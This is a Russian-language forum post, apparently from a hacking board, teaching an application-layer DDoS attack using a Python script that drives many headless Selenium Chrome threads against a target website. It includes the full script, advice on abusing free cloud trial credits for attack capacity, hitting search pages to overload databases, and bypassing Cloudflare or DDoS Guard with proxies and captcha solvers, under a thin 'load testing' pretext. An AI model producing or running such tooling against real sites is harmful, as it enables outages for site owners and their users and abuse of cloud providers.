Умный DDoS. Нагружаем защищенные таргеты без всяких ботнетов

Messages
121
Reaction score
47
Points
28
IMG_20210928_104934_266.jpg

Надеюсь, что такое DDoS тебе рассказывать не надо. Если надо – вон из класса. В этой статье мы не будем обсуждать примитивные атаки многотысячных ботнетов, приводящие к отказу оборудования. Это уже в прошлом.

Сегодня я тебе расскажу про “умный” DDoS. А именно про атаки L7, или атаки уровня приложения. Я расскажу тебе как с помощью небольшого скрипта на Python и фреймворка Selenium полностью иммитировать поведение реальных пользователей. Реализуется такой подход путём контроля реального браузера. Таким образом реализуется механизм максимально похожий на поведение человека, бороться с которым бессильны большинство самых продвинутых методов защиты. Подробнее про Selenium можно почитать ещё и здесь.

Для проведения наших тестов нам не потребуется никаких ботнетов. Все необходимые ресурсы мы абсолютно бесплатно возьмём у Google, Amazon или Microsoft, у каждого из которых есть возможность попробовать их услуги абсолютно бесплатно. Например, Google, с весьма небольшими ограничениями предоставляет пробный период в 3 месяца и суммой в $300, которых вполне хватит для того, чтобы разнести в пух и прах вполне серьёзный ресурс. Информация о том, как получать халяву, а также о том, как настраивать облачные инстансы выходит за рамки этой статьи. Мы об этом уже писали. Правда, немного в другом контексте.

Инструмент, который мы будем делать – это простейший booter/stresser, простейший скрипт для тестирования допустимой нагрузки на сайт. Для того, чтобы полноценно протестировать даже достаточно крупные ресурсы, тебе понадобится 5-10 инстансов с 2-4 процессорами и 4гб память (понятно, больше – лучше). Желательно брать инстансы полегче из-за ограничений на исходящий трафик в большинстве облачных сервисов.

Кстати, Selenium, походит не только для DDoS. Более того, я бы назвал DDoS с помощью этого замечательного фреймворка просто варварством. Selenium справляется и с намного более изысканными задачами, такими, как парсинг сложных, закрытых ресурсов или накрутка рекламы (в том числе и на YouTube, что доказал на практике Александр Жуков, создатель Methbot, основой которого как раз таки и являлся Selenium. Кстати, Жукова, арестованного и представшего перед судом в США недавно признали виновным по всем обвиненям. Но это уже другая история.

Справедливости ради следует заметить, что Selenium – старейший, но не единственный инструмент контроля браузеров на рынке. Помимо Selenium для подобных задач можно использовать и Puppeteer и его адаптацию на python, pyppeteer, тоже отлично зарекомендовавшие себя.

В этой статье я распишу только основной принцип работы. Более сложные варианты, включая использование соксов и взяимодействие с XEvil для распознавания даже самых сложный “капч” выходит за рамки этой статьи и будет рассмотренно в закрытом чате ПТУ№69.

Итак, загружаем Python, устанавливаем все зависимости, качаем ChromeDriver. Помимо самого Selenium, мы будем использовать Concurrent Futures для обеспечения многопоточности.

from concurrent.futures.thread import ThreadPoolExecutor
from selenium.webdriver.chrome.options import Options
from selenium import webdriver
import time
import random
import string
import re


chromeOptions = Options()
chromeOptions.headless = True #как будет запускаться хром - в фоне или нет
executor = ThreadPoolExecutor(20) #количество одновременных потоков

def generate_random_string(length):
letters = string.ascii_lowercase
rand_string = ''.join(random.choice(letters) for i in range(length))
return rand_string

# простейшая функция выгрузки всех ссылок с заданой страницы
def getlinks(url):
driver = webdriver.Chrome(r"путь к chromedriver", options=chromeOptions) # path к chromedriver
list = []
driver.get(url)
a = driver.find_elements_by_xpath('.//a')
i = 0
for b in a:
i = i+1
link = b.get_attribute("href")
list.insert(i, link)
driver.quit()
return list

def scrape(url):
executor.submit(scraper, url)
executor.submit(scraper, "адрес_тестируемого_ресурса/"+generate_random_string(10))
#генерируем мусорные ссылки, если надо. кстати, если в тестируемом сайте есть функция поиска или любые другие страницы с тяжелыми запросами в БД, этот вариант - твой



def scraper(url):
driver = webdriver.Chrome(r"путь_к_chromedriver", options=chromeOptions) #path к chromedriver
driver.get(url)
time.sleep(15)
driver.quit()

urls = getlinks("адрес_тестируемого_ресурса")
for url in urls * 10: #количество инстансов
scrape(url)

Скрипт загружает заданное количество потоков Google Chrome, каждый из которых выгребает ссылки и тем самым плотно нагружает атакуемый сайт. Для достижения лучшего эффекта рекомендуется нагружать тестируемый ресурс сложными запросами (например к функции поиска или сложной выборки).

В действенности метода можешь не сомневаться. С различными модификациями этот простенький скрипт позволяет достаточно успешно тестировать ресурсы, размещенные даже на защищенных сервисах типа Cloudflare, Varity или DDoS Guard. Однако, скорее всего тебе понадобятся соксы и дополнительные инструменты, разгадывающие “капчу”.

Поверь, при правильном использовании этот скрипт заставит взяться за голову даже самых искушенных админов и самые изощренные сервисы защиты от ddos.
 
Top